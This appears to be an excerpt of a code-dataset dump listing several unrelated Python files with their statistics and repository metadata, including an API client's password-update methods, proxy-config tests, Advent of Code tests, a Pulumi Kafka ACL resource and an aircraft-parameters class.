local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'user_id' is set if ('user_id' not in local_var_params or local_var_params['user_id'] is None): raise ValueError("Missing the required parameter `user_id` when calling `post_users_id_password`") # noqa: E501 # verify the required parameter 'password_reset_body' is set if ('password_reset_body' not in local_var_params or local_var_params['password_reset_body'] is None): raise ValueError("Missing the required parameter `password_reset_body` when calling `post_users_id_password`") # noqa: E501 collection_formats = {} path_params = {} if 'user_id' in local_var_params: path_params['userID'] = local_var_params['user_id'] # noqa: E501 query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 if 'authorization' in local_var_params: header_params['Authorization'] = local_var_params['authorization'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'password_reset_body' in local_var_params: body_params = local_var_params['password_reset_body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['BasicAuthentication'] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/users/{userID}/password', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def put_me_password(self, password_reset_body, **kwargs): # noqa: E501,D401,D403 """Update a password. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_me_password(password_reset_body, async_req=True) >>> result = thread.get() :param async_req bool :param PasswordResetBody password_reset_body: New password (required) :param str zap_trace_span: OpenTracing span context :param str authorization: An auth credential for the Basic scheme :return: None If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.put_me_password_with_http_info(password_reset_body, **kwargs) # noqa: E501 else: (data) = self.put_me_password_with_http_info(password_reset_body, **kwargs) # noqa: E501 return data def put_me_password_with_http_info(self, password_reset_body, **kwargs): # noqa: E501,D401,D403 """Update a password. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_me_password_with_http_info(password_reset_body, async_req=True) >>> result = thread.get() :param async_req bool :param PasswordResetBody password_reset_body: New password (required) :param str zap_trace_span: OpenTracing span context :param str authorization: An auth credential for the Basic scheme :return: None If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['password_reset_body', 'zap_trace_span', 'authorization'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_me_password" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'password_reset_body' is set if ('password_reset_body' not in local_var_params or local_var_params['password_reset_body'] is None): raise ValueError("Missing the required parameter `password_reset_body` when calling `put_me_password`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 if 'authorization' in local_var_params: header_params['Authorization'] = local_var_params['authorization'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'password_reset_body' in local_var_params: body_params = local_var_params['password_reset_body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['BasicAuthentication'] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/me/password', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw)

40.608696

159

0.619963

4,998

41,096

4.796519

0.040816

0.053393

0.082927

0.02703

0.961498

0.958662

0.955992

0.946607

0.935386

0.930338

0

0.019665

0.290977

41,096

1,011

160

40.648863

0.803075

0.302171

0

0.818505

0

0.005338

0.189234

0.030102

0

1

0.033808

false

0.044484

0.005338

0

0.088968

0

null

0

1

0

1

0

null

0

7

81582e4396b3cbf99fad45a556d5af1b836029d4

42

py

Python

charq/__init_.py

EmidioLP/CharQ

7fb857c4481458ce5d09741d78bf0513d44af130

[ "MIT" ]

null

charq/__init_.py

EmidioLP/CharQ

7fb857c4481458ce5d09741d78bf0513d44af130

[ "MIT" ]

1

2021-03-16T19:11:36.000Z

2021-03-16T19:12:18.000Z

charq/__init_.py

EmidioLP/CharQ

7fb857c4481458ce5d09741d78bf0513d44af130

[ "MIT" ]

2

2021-03-16T19:03:43.000Z

2021-03-16T20:10:11.000Z

from charq import CharAscii, WordGenerate

21

41

0.857143

5

42

7.2

1

0

0.119048

42

1

42

0.972973

0

1

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

8169141dd580a2964c05f0d816b17d0367d761e2

2,001

py

Python

docker/tests/test_merge_config.py

OlegBravo/tf-charms

4b05c5bb82446b5625aa8fd1efc7f69c8962b62b

[ "Apache-2.0" ]

null

docker/tests/test_merge_config.py

OlegBravo/tf-charms

4b05c5bb82446b5625aa8fd1efc7f69c8962b62b

[ "Apache-2.0" ]

null

docker/tests/test_merge_config.py

OlegBravo/tf-charms

4b05c5bb82446b5625aa8fd1efc7f69c8962b62b

[ "Apache-2.0" ]

null

import pytest from lib.charms.layer.container_runtime_common import ( merge_config ) def test_get_hosts(): CONFIG = { 'NO_PROXY': '192.168.2.1, 192.168.2.0/29, hello.com', 'https_proxy': 'https://hop.proxy', 'HTTP_PROXY': '', } ENVIRONMENT = { 'HTTPS_PROXY': 'https://proxy.hop', 'HTTP_PROXY': 'http://proxy.hop', 'no_proxy': 'not tha proxy' } merged = merge_config(CONFIG, ENVIRONMENT) assert merged == { 'NO_PROXY': '192.168.2.1, 192.168.2.0/29, hello.com', 'HTTPS_PROXY': 'https://hop.proxy', 'HTTP_PROXY': 'http://proxy.hop', 'no_proxy': '192.168.2.1, 192.168.2.0/29, hello.com', 'https_proxy': 'https://hop.proxy', 'http_proxy': 'http://proxy.hop' } def test_get_hosts_no_local_conf(): CONFIG = { 'NO_PROXY': '', 'https_proxy': '', 'HTTP_PROXY': '', } ENVIRONMENT = { 'HTTPS_PROXY': 'https://proxy.hop', 'HTTP_PROXY': 'http://proxy.hop', 'no_proxy': 'not tha proxy' } merged = merge_config(CONFIG, ENVIRONMENT) assert merged == { 'HTTPS_PROXY': 'https://proxy.hop', 'HTTP_PROXY': 'http://proxy.hop', 'NO_PROXY': 'not tha proxy', 'https_proxy': 'https://proxy.hop', 'http_proxy': 'http://proxy.hop', 'no_proxy': 'not tha proxy' } def test_get_hosts_no_env_conf(): ENVIRONMENT = { 'NO_PROXY': '', 'HTTPS_PROXY': '', 'HTTP_PROXY': '', } CONFIG = { 'HTTPS_PROXY': 'https://proxy.hop', 'HTTP_PROXY': 'http://proxy.hop', 'no_proxy': 'not tha proxy' } merged = merge_config(CONFIG, ENVIRONMENT) assert merged == { 'HTTPS_PROXY': 'https://proxy.hop', 'HTTP_PROXY': 'http://proxy.hop', 'NO_PROXY': 'not tha proxy', 'no_proxy': 'not tha proxy', 'https_proxy': 'https://proxy.hop', 'http_proxy': 'http://proxy.hop', }

25.653846

61

0.54073

240

2,001

4.283333

0.15

0.183852

0.190661

0.157588

0.874514

0.84144

0.804475

0

0.037113

0.272864

2,001

77

62

25.987013

0.669416

0

0.65625

0

0.046875

0.433283

0

0.046875

1

0.046875

false

0

0.03125

0

0.078125

0

null

0

1

0

1

0

null

0

7

8176e753ed558bb763c9a9bcd3ce4e228bdb9a8c

3,698

py

Python

AdventOfCode/Day18_tests.py

btrzcinski/AdventOfCode

46012e81ba8a56cde811ad481ab14b43ce73f09f

[ "MIT" ]

null

AdventOfCode/Day18_tests.py

btrzcinski/AdventOfCode

46012e81ba8a56cde811ad481ab14b43ce73f09f

[ "MIT" ]

null

AdventOfCode/Day18_tests.py

btrzcinski/AdventOfCode

46012e81ba8a56cde811ad481ab14b43ce73f09f

[ "MIT" ]

null

import unittest import Day18 class Day18_tests(unittest.TestCase): def test_lightboard_neighbors(self): l = Day18.Lightboard(6) l[3,3] = 1 for point in [(2,2), (2, 3), (2, 4), (3, 2), (3, 4), (4, 2), (4, 3), (4, 4)]: self.assertEqual(1, l.neighbors_on_for_light(point)) def test_example(self): l = Day18.Lightboard(6) l[0,1] = 1 l[0,3] = 1 l[0,5] = 1 l[1,3] = 1 l[1,4] = 1 l[2,0] = 1 l[2,5] = 1 l[3,2] = 1 l[4,0] = 1 l[4,2] = 1 l[4,5] = 1 l[5,0] = 1 l[5,1] = 1 l[5,2] = 1 l[5,3] = 1 self.assertEqual(".#.#.#\n...##.\n#....#\n..#...\n#.#..#\n####..", repr(l)) l.iterate() self.assertEqual("..##..\n..##.#\n...##.\n......\n#.....\n#.##..", repr(l)) l.iterate() self.assertEqual("..###.\n......\n..###.\n......\n.#....\n.#....", repr(l)) l.iterate() self.assertEqual("...#..\n......\n...#..\n..##..\n......\n......", repr(l)) l.iterate() self.assertEqual("......\n......\n..##..\n..##..\n......\n......", repr(l)) def test_example_with_stuck_corners(self): l = Day18.Lightboard(6) l[0,0] = 1 l[0,1] = 1 l[0,3] = 1 l[0,5] = 1 l[1,3] = 1 l[1,4] = 1 l[2,0] = 1 l[2,5] = 1 l[3,2] = 1 l[4,0] = 1 l[4,2] = 1 l[4,5] = 1 l[5,0] = 1 l[5,1] = 1 l[5,2] = 1 l[5,3] = 1 l[5,5] = 1 self.assertEqual("##.#.#\n...##.\n#....#\n..#...\n#.#..#\n####.#", repr(l)) l.iterate(corners_always_on=True) self.assertEqual("#.##.#\n####.#\n...##.\n......\n#...#.\n#.####", repr(l)) l.iterate(corners_always_on=True) self.assertEqual("#..#.#\n#....#\n.#.##.\n...##.\n.#..##\n##.###", repr(l)) l.iterate(corners_always_on=True) self.assertEqual("#...##\n####.#\n..##.#\n......\n##....\n####.#", repr(l)) l.iterate(corners_always_on=True) self.assertEqual("#.####\n#....#\n...#..\n.##...\n#.....\n#.#..#", repr(l)) l.iterate(corners_always_on=True) self.assertEqual("##.###\n.##..#\n.##...\n.##...\n#.#...\n##...#", repr(l)) self.assertEqual(17, l.number_of_lights_on()) def test_example_with_stuck_corners_2(self): l = Day18.Lightboard(6) l[0,0] = 1 l[0,1] = 1 l[0,3] = 1 l[0,5] = 1 l[1,3] = 1 l[1,4] = 1 l[2,0] = 1 l[2,5] = 1 l[3,2] = 1 l[4,0] = 1 l[4,2] = 1 l[4,5] = 1 l[5,0] = 1 l[5,1] = 1 l[5,2] = 1 l[5,3] = 1 l[5,5] = 1 self.assertEqual("##.#.#\n...##.\n#....#\n..#...\n#.#..#\n####.#", repr(l)) l.iterate(n=5, corners_always_on=True) self.assertEqual("##.###\n.##..#\n.##...\n.##...\n#.#...\n##...#", repr(l)) self.assertEqual(17, l.number_of_lights_on()) def test_example_with_stuck_corners_3(self): l = Day18.Lightboard(6) l[0,1] = 1 l[0,3] = 1 l[0,5] = 1 l[1,3] = 1 l[1,4] = 1 l[2,0] = 1 l[2,5] = 1 l[3,2] = 1 l[4,0] = 1 l[4,2] = 1 l[4,5] = 1 l[5,0] = 1 l[5,1] = 1 l[5,2] = 1 l[5,3] = 1 self.assertEqual(".#.#.#\n...##.\n#....#\n..#...\n#.#..#\n####..", repr(l)) l.iterate(n=5, corners_always_on=True) self.assertEqual("##.###\n.##..#\n.##...\n.##...\n#.#...\n##...#", repr(l)) self.assertEqual(17, l.number_of_lights_on()) if __name__ == "__main__": unittest.main(verbosity=2)

31.07563

85

0.380206

569

3,698

2.379613

0.073814

0.090103

0.099705

0.088626

0.85229

0.813885

0

0.094716

0.309086

3,698

118

86

31.338983

0.435225

0

0.810811

0

0.188751

0.186587

0

0.171171

1

0.045045

false

0

0.018018

0

0.072072

0

null

0

1

0

1

0

1

0

null

0

8

819d31d4b9fccf11ef441015552aeaed172ce3da

540

py

Python

train_mosmed_timm-regnetx_002_posterize.py

BrunoKrinski/segtool

cb604b5f38104c43a76450136e37c3d1c4b6d275

[ "MIT" ]

null

train_mosmed_timm-regnetx_002_posterize.py

BrunoKrinski/segtool

cb604b5f38104c43a76450136e37c3d1c4b6d275

[ "MIT" ]

null

train_mosmed_timm-regnetx_002_posterize.py

BrunoKrinski/segtool

cb604b5f38104c43a76450136e37c3d1c4b6d275

[ "MIT" ]

null

import os ls=["python main.py --configs configs/train_mosmed_unetplusplus_timm-regnetx_002_fold0_posterize.yml", "python main.py --configs configs/train_mosmed_unetplusplus_timm-regnetx_002_fold1_posterize.yml", "python main.py --configs configs/train_mosmed_unetplusplus_timm-regnetx_002_fold2_posterize.yml", "python main.py --configs configs/train_mosmed_unetplusplus_timm-regnetx_002_fold3_posterize.yml", "python main.py --configs configs/train_mosmed_unetplusplus_timm-regnetx_002_fold4_posterize.yml", ] for l in ls: os.system(l)

49.090909

102

0.846296

80

540

5.3375

0.3

0.117096

0.140515

0.222482

0.850117

0

0.039293

0.057407

540

11

103

49.090909

0.799607

0

0.878004

0.64695

0

1

0

false

0

0.111111

0

0.111111

0

null

0

1

0

1

null

0

9

c4afee20912d4f3ccdb0481399a4c02d1db91ea0

16,792

py

Python

sdk/python/pulumi_aiven/kafka_acl.py

pulumi/pulumi-aiven

0d330ef43c17ce2d2a77588c1d9754de6c8ca736

[ "ECL-2.0", "Apache-2.0" ]

7

2019-11-28T22:30:11.000Z

2021-12-27T16:40:54.000Z

sdk/python/pulumi_aiven/kafka_acl.py

pulumi/pulumi-aiven

0d330ef43c17ce2d2a77588c1d9754de6c8ca736

[ "ECL-2.0", "Apache-2.0" ]

97

2019-12-17T09:58:57.000Z

2022-03-31T15:19:02.000Z

sdk/python/pulumi_aiven/kafka_acl.py

pulumi/pulumi-aiven

0d330ef43c17ce2d2a77588c1d9754de6c8ca736

[ "ECL-2.0", "Apache-2.0" ]

1

2020-11-24T12:22:38.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['KafkaAclArgs', 'KafkaAcl'] @pulumi.input_type class KafkaAclArgs: def __init__(__self__, *, permission: pulumi.Input[str], project: pulumi.Input[str], service_name: pulumi.Input[str], topic: pulumi.Input[str], username: pulumi.Input[str]): """ The set of arguments for constructing a KafkaAcl resource. :param pulumi.Input[str] permission: is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). :param pulumi.Input[str] project: and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. :param pulumi.Input[str] service_name: Service to link the Kafka ACL to :param pulumi.Input[str] topic: is a topic name pattern the ACL entry matches to. :param pulumi.Input[str] username: is a username pattern the ACL entry matches to. """ pulumi.set(__self__, "permission", permission) pulumi.set(__self__, "project", project) pulumi.set(__self__, "service_name", service_name) pulumi.set(__self__, "topic", topic) pulumi.set(__self__, "username", username) @property @pulumi.getter def permission(self) -> pulumi.Input[str]: """ is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). """ return pulumi.get(self, "permission") @permission.setter def permission(self, value: pulumi.Input[str]): pulumi.set(self, "permission", value) @property @pulumi.getter def project(self) -> pulumi.Input[str]: """ and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. """ return pulumi.get(self, "project") @project.setter def project(self, value: pulumi.Input[str]): pulumi.set(self, "project", value) @property @pulumi.getter(name="serviceName") def service_name(self) -> pulumi.Input[str]: """ Service to link the Kafka ACL to """ return pulumi.get(self, "service_name") @service_name.setter def service_name(self, value: pulumi.Input[str]): pulumi.set(self, "service_name", value) @property @pulumi.getter def topic(self) -> pulumi.Input[str]: """ is a topic name pattern the ACL entry matches to. """ return pulumi.get(self, "topic") @topic.setter def topic(self, value: pulumi.Input[str]): pulumi.set(self, "topic", value) @property @pulumi.getter def username(self) -> pulumi.Input[str]: """ is a username pattern the ACL entry matches to. """ return pulumi.get(self, "username") @username.setter def username(self, value: pulumi.Input[str]): pulumi.set(self, "username", value) @pulumi.input_type class _KafkaAclState: def __init__(__self__, *, permission: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, service_name: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None, username: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering KafkaAcl resources. :param pulumi.Input[str] permission: is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). :param pulumi.Input[str] project: and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. :param pulumi.Input[str] service_name: Service to link the Kafka ACL to :param pulumi.Input[str] topic: is a topic name pattern the ACL entry matches to. :param pulumi.Input[str] username: is a username pattern the ACL entry matches to. """ if permission is not None: pulumi.set(__self__, "permission", permission) if project is not None: pulumi.set(__self__, "project", project) if service_name is not None: pulumi.set(__self__, "service_name", service_name) if topic is not None: pulumi.set(__self__, "topic", topic) if username is not None: pulumi.set(__self__, "username", username) @property @pulumi.getter def permission(self) -> Optional[pulumi.Input[str]]: """ is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). """ return pulumi.get(self, "permission") @permission.setter def permission(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "permission", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @property @pulumi.getter(name="serviceName") def service_name(self) -> Optional[pulumi.Input[str]]: """ Service to link the Kafka ACL to """ return pulumi.get(self, "service_name") @service_name.setter def service_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "service_name", value) @property @pulumi.getter def topic(self) -> Optional[pulumi.Input[str]]: """ is a topic name pattern the ACL entry matches to. """ return pulumi.get(self, "topic") @topic.setter def topic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "topic", value) @property @pulumi.getter def username(self) -> Optional[pulumi.Input[str]]: """ is a username pattern the ACL entry matches to. """ return pulumi.get(self, "username") @username.setter def username(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "username", value) class KafkaAcl(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, permission: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, service_name: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None, username: Optional[pulumi.Input[str]] = None, __props__=None): """ ## # Resource Kafka ACL Resource The Resource Kafka ACL resource allows the creation and management of ACLs for an Aiven Kafka service. ## Example Usage ```python import pulumi import pulumi_aiven as aiven mytestacl = aiven.KafkaAcl("mytestacl", project=aiven_project["myproject"]["project"], service_name=aiven_kafka["myservice"]["service_name"], topic="<TOPIC_NAME_PATTERN>", permission="admin", username="<USERNAME_PATTERN>") ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] permission: is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). :param pulumi.Input[str] project: and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. :param pulumi.Input[str] service_name: Service to link the Kafka ACL to :param pulumi.Input[str] topic: is a topic name pattern the ACL entry matches to. :param pulumi.Input[str] username: is a username pattern the ACL entry matches to. """ ... @overload def __init__(__self__, resource_name: str, args: KafkaAclArgs, opts: Optional[pulumi.ResourceOptions] = None): """ ## # Resource Kafka ACL Resource The Resource Kafka ACL resource allows the creation and management of ACLs for an Aiven Kafka service. ## Example Usage ```python import pulumi import pulumi_aiven as aiven mytestacl = aiven.KafkaAcl("mytestacl", project=aiven_project["myproject"]["project"], service_name=aiven_kafka["myservice"]["service_name"], topic="<TOPIC_NAME_PATTERN>", permission="admin", username="<USERNAME_PATTERN>") ``` :param str resource_name: The name of the resource. :param KafkaAclArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(KafkaAclArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, permission: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, service_name: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None, username: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = KafkaAclArgs.__new__(KafkaAclArgs) if permission is None and not opts.urn: raise TypeError("Missing required property 'permission'") __props__.__dict__["permission"] = permission if project is None and not opts.urn: raise TypeError("Missing required property 'project'") __props__.__dict__["project"] = project if service_name is None and not opts.urn: raise TypeError("Missing required property 'service_name'") __props__.__dict__["service_name"] = service_name if topic is None and not opts.urn: raise TypeError("Missing required property 'topic'") __props__.__dict__["topic"] = topic if username is None and not opts.urn: raise TypeError("Missing required property 'username'") __props__.__dict__["username"] = username super(KafkaAcl, __self__).__init__( 'aiven:index/kafkaAcl:KafkaAcl', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, permission: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, service_name: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None, username: Optional[pulumi.Input[str]] = None) -> 'KafkaAcl': """ Get an existing KafkaAcl resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] permission: is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). :param pulumi.Input[str] project: and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. :param pulumi.Input[str] service_name: Service to link the Kafka ACL to :param pulumi.Input[str] topic: is a topic name pattern the ACL entry matches to. :param pulumi.Input[str] username: is a username pattern the ACL entry matches to. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _KafkaAclState.__new__(_KafkaAclState) __props__.__dict__["permission"] = permission __props__.__dict__["project"] = project __props__.__dict__["service_name"] = service_name __props__.__dict__["topic"] = topic __props__.__dict__["username"] = username return KafkaAcl(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def permission(self) -> pulumi.Output[str]: """ is the level of permission the matching users are given to the matching topics (admin, read, readwrite, write). """ return pulumi.get(self, "permission") @property @pulumi.getter def project(self) -> pulumi.Output[str]: """ and `service_name` - (Required) define the project and service the ACL belongs to. They should be defined using reference as shown above to set up dependencies correctly. These properties cannot be changed once the service is created. Doing so will result in the topic being deleted and new one created instead. """ return pulumi.get(self, "project") @property @pulumi.getter(name="serviceName") def service_name(self) -> pulumi.Output[str]: """ Service to link the Kafka ACL to """ return pulumi.get(self, "service_name") @property @pulumi.getter def topic(self) -> pulumi.Output[str]: """ is a topic name pattern the ACL entry matches to. """ return pulumi.get(self, "topic") @property @pulumi.getter def username(self) -> pulumi.Output[str]: """ is a username pattern the ACL entry matches to. """ return pulumi.get(self, "username")

41.875312

134

0.630955

1,994

16,792

5.152959

0.089268

0.073869

0.09129

0.064234

0.823747

0.788029

0.768954

0.733431

0.723309

0.716788

0

0.000082

0.277573

16,792

400

135

41.98

0.846921

0.391853

0

0.584541

1

0

0.088681

0.003187

0

1

0.154589

false

0.004831

0.024155

0

0.270531

0

null

0

1

0

1

0

null

0

7

f205cfd8cf35b9d5516674b13bd5fdf34cb57f27

9,009

py

Python

aircraft_params.py

muratataturo/IAEA

2cf3ad4feed4ced0256f3f04ceb899ee12fa53a3

[ "MIT" ]

null

aircraft_params.py

muratataturo/IAEA

2cf3ad4feed4ced0256f3f04ceb899ee12fa53a3

[ "MIT" ]

null

aircraft_params.py

muratataturo/IAEA

2cf3ad4feed4ced0256f3f04ceb899ee12fa53a3

[ "MIT" ]

null

import pandas as pd # For computation class AircraftParamsComputation(object): """ --Attributes-- aircraft name: type(string) aircraft database path: type(string), path of aircraft database path """ def __init__(self, aircraft_name): self.aircraft_name = aircraft_name # path of aircraft database self.aircraft_database_path = "./DataBase/aircraft.csv" df = pd.read_csv(self.aircraft_database_path, index_col=0) print(df.columns) # extract column print(df.loc[self.aircraft_name].values) # extract numpy array from database # Initialize parameters # deal with following value by ft or kg # fuselage # fuselage is divided into three section(section1: cockpit, section2: cabin, section3: after cabin) self.cockpit_length = None # l1 self.cabin_length = None # l2 self.after_cabin_length = None # l3 self.fuselage_length = None # l1 + l2 + l3 self.cockpit_width = None # w1 self.cabin_width = None # w2(df) self.after_cabin_width = None # w3 # Note: cockpit and after cabin shapes are circle self.cockpit_upper_height = None # the height of upper part of cockpit self.cockpit_lower_height = None # the height of lower part of cockpit self.cabin_upper_height = None # the height of fuselage which contains passenger self.cabin_lower_height = None # the height of fuselage which is determined by cargo fuselage self.after_cabin_upper_height = None # the height of upper part of after cabin self.after_cabin_lower_height = None # hte height of lower part of after cabin self.KWs = None # costant => 0.75 * ((1.0 + 2.0 * taper ratio) / (1.0 + taper ratio)) * (main wing span * np.tan(25 * wingsweep_theta / fuselage length)) # main wing self.main_wing_span = None # wing span(b) self.main_wing_aspect_ratio = None # AR self.main_wing_taper_ratio = None # t self.main_wing_tc = None # the ratio of thickness and chord self.retreat_angle = None # theta self.main_wing_croot = None # the root chord of main wing self.main_wing_ctip = None # the tip chord of main wing self.main_wing_area = None # S # self.Nz = None # ultimate load coefficient # vertical wing self.vertical_wing_span = None # wing span(bv) self.vertical_wing_aspect_ratio = None # ARv self.vertical_wing_taper_ratio = None # tv self.vertical_wing_tc = None # the ratio of thickness and chord at vertical wing self.vertical_retreat_angle = None # thetav self.vertical_wing_croot = None # the root chord of vertical wing self.vertical_wing_ctip = None # the tip chord of vertical wing self.vertical_wing_area = None # Sv # horizontal wing self.horizontal_wing_span = None # wing span(bh) self.horizontal_wing_aspect_ratio = None # ARh self.horizontal_wing_taper_ratio = None # th self.horizontal_wing_tc = None # the ratio of thickness and chord at horizontal wing self.horizontal_retreat_angle = None # thetah self.horizontal_wing_croot = None # the root chord of horizontal wing self.horizontal_wing_ctip = None # the tip chord of horizontal wing self.horizontal_wing_area = None # Sh # main landing gear self.main_landing_gear_position = None # the setting position of main landing gear(Lm) self.number_of_main_wheel = None # the number of main wheel self.number_of_main_gear_struts = None # the number of main gear struts self.Vstall = 130 # stall velocity # Nose landing gear self.nose_landing_gear_position = None # the setting position of nose landing gear(Ln) self.number_of_nose_wheel = None # the number of nose wheel # Nacelle self.engine_number = None # the number of jet engine # Engine Control self.engine_control_position = None # the mounting position of engine control # Flight Control self.number_of_flight_control = None # the number of flight control self.exposed_wing_span = None # outer wing span (BW) # Instrument self.number_of_instrument = None # the number of instrument, jet engine(2.0), UAV(0.5) # For View class AircraftParamsView(object): """ --Attributes-- aircraft name: type(string) aircraft database path: type(string), path of aircraft database path """ def __init__(self, aircraft_name): self.aircraft_name = aircraft_name # path of aircraft database self.aircraft_database_path = "./DataBase/aircraft.csv" df = pd.read_csv(self.aircraft_database_path, index_col=0) print(df.columns) # extract column print(df.loc[self.aircraft_name].values) # extract numpy array from database # Initialize parameters # deal with following value by ft or kg # fuselage # fuselage is divided into three section(section1: cockpit, section2: cabin, section3: after cabin) self.cockpit_length = None # l1 self.cabin_length = None # l2 self.after_cabin_length = None # l3 self.fuselage_length = None # l1 + l2 + l3 self.cockpit_width = None # w1 self.cabin_width = None # w2(df) self.after_cabin_width = None # w3 # Note: cockpit and after cabin shapes are circle self.cockpit_upper_height = None # the height of upper part of cockpit self.cockpit_lower_height = None # the height of lower part of cockpit self.cabin_upper_height = None # the height of fuselage which contains passenger self.cabin_lower_height = None # the height of fuselage which is determined by cargo fuselage 